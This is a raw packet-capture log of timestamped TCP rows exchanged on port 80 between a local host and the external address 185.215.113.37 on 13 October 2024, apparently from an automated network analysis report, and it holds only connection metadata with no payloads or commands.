Oct 13, 2024 14:49:19.164530993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.164540052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.164572954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.164602041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.166064978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.166075945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.166084051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.166114092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.166138887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.167500973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.167512894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.167562008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.429049015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.433984995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:20.154325962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:20.154412031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:20.238957882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:20.243906021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:20.968727112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:20.968799114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:21.648858070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:21.653923035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:22.373738050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:22.374177933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:22.782433987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:22.918431044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.140845060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.140918016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.141055107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.141076088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.141113997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.141129971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.141810894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.141830921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.141860962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.141880989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.142635107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.142692089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.142705917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.142736912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.143465996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.143523932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.143537045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.143568993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.144218922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.144264936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.144285917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.144310951 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.229003906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.229063988 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.229095936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.229140043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.272300005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.272375107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.272430897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.272494078 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.272511005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.272556067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.273283958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.273355961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.273489952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.273531914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.273557901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.273577929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.273865938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.273921013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.274220943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.274281979 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.274463892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.274521112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.274534941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.274565935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.275110006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.275175095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.275240898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.275305033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.275649071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.275691032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.275715113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.275733948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.276096106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.276154041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.276168108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.276200056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.276758909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.276879072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.276916027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.276941061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.277266979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.277318001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.277332067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.277364016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.277394056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.277436972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.278079033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.278126001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.278150082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.278168917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.278208017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.278255939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.278726101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.278785944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.279016018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.279057980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.279088974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.279105902 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.279375076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.279431105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.279462099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.279526949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.279927015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.279989004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.318011045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.318072081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.318094015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.318140030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.405561924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.405673981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.405735016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.405787945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.405802011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.405829906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.406544924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.406610012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.406666040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.406723022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.406765938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.406829119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.406861067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.406922102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.407556057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.407619953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.407747030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.407789946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.407814026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.407834053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.408492088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.408557892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.408617020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.408665895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.408679962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.408709049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.409215927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.409290075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.409348011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.409389973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.409415007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.409435034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.410345078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.410418987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.410481930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.410525084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.410545111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.410582066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.411107063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.411176920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.411228895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.411269903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.411289930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.411318064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.411788940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.411859035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.411942959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.411983967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412009001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412026882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412122011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412180901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412384987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412431002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412453890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412487030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412626982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412673950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412694931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412728071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412759066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412808895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.412825108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.412873030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.413355112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.413402081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.413422108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.413446903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.413485050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.413538933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.413556099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.413604021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.414182901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.414231062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.414251089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.414273977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.414309025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.414361954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.414375067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.414407969 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.414438009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.414493084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.414506912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.414542913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.414983034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415031910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415050030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.415075064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.415111065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415163994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415177107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.415211916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.415240049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415287018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.415808916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415858984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415878057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.415905952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.415942907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.415992975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.416013956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.416060925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.416079044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.416131020 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.416554928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.416604996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.416626930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.416657925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.416687965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.416734934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.416755915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.416819096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.659382105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.659472942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.659501076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.659526110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.659558058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.659631968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.660099030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.660161972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.660187960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.660243988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.660258055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.660289049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.660319090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.660371065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.660386086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.660419941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.660444975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.660501957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.660515070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.660547018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661127090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661174059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661195040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661223888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661250114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661298037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661319017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661374092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661387920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661433935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661452055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661489964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661514997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661561966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.661570072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.661602020 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662061930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662081957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662106037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662115097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662128925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662146091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662156105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662173986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662182093 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662199974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662210941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662239075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662817955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662848949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662866116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662878990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662889004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662908077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662916899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662933111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662942886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662961006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662971973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.662988901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.662998915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663028002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663772106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.663793087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.663816929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.663825035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663836002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663855076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.663861990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663881063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.663891077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663908005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.663917065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663935900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.663947105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.663978100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.664683104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.664704084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.664729118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.664736032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.664746046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.664757967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.664767027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.664786100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.664794922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.664809942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.664822102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.664839983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.664849997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.664881945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.665402889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665421963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665446997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.665453911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665472984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665479898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.665488958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.665508032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665514946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.665534019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665546894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.665560007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665570021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.665589094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.665604115 CEST	49720	80	192.168.2.6	185.215.113.37
